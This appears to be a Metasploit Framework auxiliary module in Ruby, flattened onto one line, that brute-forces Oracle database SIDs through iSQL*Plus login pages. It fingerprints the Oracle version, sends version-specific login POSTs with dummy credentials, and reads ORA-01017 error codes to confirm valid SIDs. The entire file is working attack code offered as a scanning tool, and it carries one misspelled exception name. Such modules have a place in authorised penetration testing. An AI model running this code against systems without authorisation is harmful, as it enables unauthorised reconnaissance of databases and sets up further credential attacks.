## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report def initialize super( 'Name' => 'Oracle isqlplus SID Check', 'Description' => %q{ This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus login pages. It does this by testing Oracle error responses returned in the HTTP response. Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error. Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to fingerprint the version and automatically select the correct POST request. }, 'References' => [ [ 'URL', 'http://carnal0wnage.attackresearch.com' ], ], 'Author' => [ 'CG', 'todb' ], 'License' => MSF_LICENSE ) register_options([ Opt::RPORT(5560), OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']), OptString.new('SID', [ false, 'A single SID to test']), OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]), OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30]) ], self.class) deregister_options( "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE", "BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE", "BRUTEFORCE_SPEED" # Slow as heck anyway ) end def sid_file datastore['SIDFILE'] end def hostport [target_host,rport].join(":") end def uri datastore['URI'] || "/isqlplus/" end def timeout (datastore['TIMEOUT'] || 30).to_i end def msg msg = "#{hostport} - Oracle iSQL*Plus -" end def run_host(ip) oracle_ver = get_oracle_version(ip) if not check_oracle_version(oracle_ver) print_error "#{msg} Unknown Oracle version, skipping." return end begin print_status("#{msg} Starting SID check") sid_data.each do |sid| guess = check_oracle_sid(ip,oracle_ver,sid) return if guess and datastore['STOP_ON_SUCCESS'] end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error "#{msg} Cannot connect" rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e print_error e.message end end def get_oracle_version(ip) begin res = send_request_cgi({ 'version' => '1.1', 'uri' => uri, 'method' => 'GET', }, timeout) oracle_ver = nil if (res.nil?) print_error("#{msg} no response") elsif (res.code == 200) print_status("#{msg} Received an HTTP #{res.code}") oracle_ver = detect_oracle_version(res) elsif (res.code == 404) print_error("#{msg} Received an HTTP 404, check URIPATH") elsif (res.code == 302) print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}") else print_error("#{msg} Received an HTTP #{res.code}") end return oracle_ver rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error "#{msg} Cannot connect" end end def detect_oracle_version(res) m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/) oracle_ver = nil oracle_ver = 10 if m[1] && m[1] =~ /10/ oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/ if oracle_ver print_status("#{msg} Detected Oracle version #{oracle_ver}") print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1 else print_error("#{msg} Unknown Oracle version detected.") end return oracle_ver end def check_oracle_version(ver) [9.0,9.1,9.2,10].include? ver end def build_post_request(ver,sid) post_request = nil case ver when 9.0 post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC" when 9.1 post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login" when 9.2 post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login" when 10 post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login" end return post_request end def parse_isqlplus_response(res,sid) guess = false if (res.nil?) print_error("#{msg} No response") elsif (res.code == 200) if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/) if sid.nil? || sid.empty? print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.") else print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'") end guess = true elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/) vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})") elsif res.body =~ /(ORA-12541):/ print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.") guess = true else print_status("#{msg} Received an unknown error") # Should say what the error was end elsif (res.code == 404) print_status("#{msg} Received an HTTP 404, check URIPATH") elsif (res.code == 302) print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}") else print_status("#{msg} Received an unexpected response: #{res.code}") end report_isqlplus_service(target_host,res) if res return guess end def report_isqlplus_service(ip,res) sname = datastore['SSL'] ? 'https' : 'http' report_service( :host => ip, :proto => 'tcp', :port => rport, :name => sname, :info => res.headers["Server"].to_s.strip ) end def report_oracle_sid(ip,sid) report_note( :host => ip, :proto => 'tcp', :port => rport, :type => "oracle.sid", :data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid), :update => :unique_data ) end def sid_data if datastore['SID'] and not datastore['SID'].empty? [datastore['SID']] elsif sid_file and ::File.readable? sid_file ::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq else raise ArugmentError, "Cannot read file '#{sid_file}'" end end def check_oracle_sid(ip,oracle_ver,sid) post_request = build_post_request(oracle_ver,sid) vprint_status "#{msg} Trying SID '#{sid}', waiting for response..." res = send_request_cgi({ 'version' => '1.1', 'uri' => uri, 'method' => 'POST', 'data' => post_request, 'headers' => { 'Referer' => "http://#{ip}:#{rport}#{uri}" } }, timeout) guess = parse_isqlplus_response(res,sid) report_oracle_sid(ip,sid) if guess return guess end end